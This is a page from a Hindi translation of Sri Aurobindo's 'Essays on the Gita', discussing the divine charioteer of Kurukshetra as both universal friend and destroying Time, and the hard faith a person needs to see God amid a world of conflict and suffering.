गीता प्रबंध -अरविन्द पृ. 46

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गीता-प्रबंध
6.मनुष्य और जीवन-संग्राम

कुरूक्षेत्र के सारथी भागवान् एक ओर तो सर्वलोकमहेश्वर, सब प्राणियों के मित्र और सर्वज्ञ गुरू हैं, दूसरी ओर संहारक काल है जो यहां इन सब लोगों का संहार करने में प्रवृत्त हुए हैं- गीता ने उदार हिंदूधर्म के सारभाव का ही अनुसरण कररके इस काल - रूप को भी भगवान् कहा है ; गीता जगत् की पहेली को टालने के लिये जगत् में से किसी बगल के दरवाजे से निकल भागने की चेष्टा नहीं करती । और यदि सचमुच ही संसार को हम किसी असंस्कृत विवेकशून्य जड़प्राकृतिक शक्ति की ही कोई यांत्रिक क्रियामात्र नहीं समझते अथवा दूसरी ओर किसी अनादि शून्य से उत्पन्न हुई भावनाओं और शक्तियों की वैसी ही यांत्रिक क्रीडामात्र नहीं मानते या यह भी नहीं मानते कि यह अक्रिय आत्मा में होने वाला केवल एक आभास है या अलिप्त, अचल, अक्षर परब्रह्म के ऊपरी तल के चैतन्य में होने वाला मिथ्या दुःस्वप्न का ही क्रम- विकास है और स्वयं परब्रह्म उससे विचलित नहीं होता न उसमें वस्तुतः उसका कोई हाथ ही है, अर्थात यदि हम इस बात को जरा भी मानते हैं, जैसा कि गीता मानती है कि, भगवान् है और वे सर्वव्यापी ,सर्वज्ञ और सर्वशक्तिमान है और भी सबके परे रहने वाले परमपुरुष हैं जो जगत् को प्रकट करके स्वयं भी उसमें प्रकट होते हैं जो अपनी माया , प्रकृति या शक्ति के दास नहीं , प्रभु है जिनकी जगत् - परिकल्पना या योजना को उनका बनाया हुआ कोइ भी जीव - जंतु, मानव इधर - उधर या उलट - पलट नहीं कर सकता जो अपनी सृष्टि या अभिव्यक्ति के किसी भाग के उत्तरदायित्व को अपने सृष्ट या अभिव्यक्ति प्राणियों के ऊपर लादकर स्वयं उसे बरी होने की कोई जरूरत नहीं रखते - यदि हम ऐसा मानते हैं- तब तो आरंभ से ही मानव प्राणी को एक महान और महाकठिन श्रद्धा धारण करके ही आगे बढना होगा। मानव अपने- आपको एक ऐसे जगत् में पाता है जहां उपर से देखने में ऐसा लगता है कि लडाकू शक्तियों ने एक भीषण विश्रृखंला कर रखी है, बडी- बड़ीअंधकार की शक्तियों का संग्राम छिडा हुआ है, जहां का जीवन सतत परिवर्तन और मृत्यु के द्वारा ही टिका हुआ है, और व्यथा , यंत्रणा, अमंगल और विनाश की विभीषिका द्वारा चारों से घिरा हुआ है। ऐसे जगत् के अंदर उसे सर्वव्यापी ईश्वर को देखना होगा और इस बात से सचेतन होना कि इस पहेली का कोई हल अवश्य है और यह कि जिस अज्ञान में वह इस समय वास करता है उसके परे कोई ऐसा ज्ञान है जो इन विरोधों को मिटाता है। उसे इस श्रद्धा और विश्वास के आधार पर खडा हेाना होगा कि , “तू मुझे मार भी डाले , तो भी मैं तेरा भरोसा न छोडूगां”। सभी प्रकार की कार्यरत निष्ठा में चाहे वह आस्तिक की हो, नास्तिक की हो या सर्वेश्वरवादी की - न्यूनाधिक स्पष्टता और पूर्णता के साथ इस प्रकार का भाव पाया जाता है।


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टीका टिप्पणी और संदर्भ

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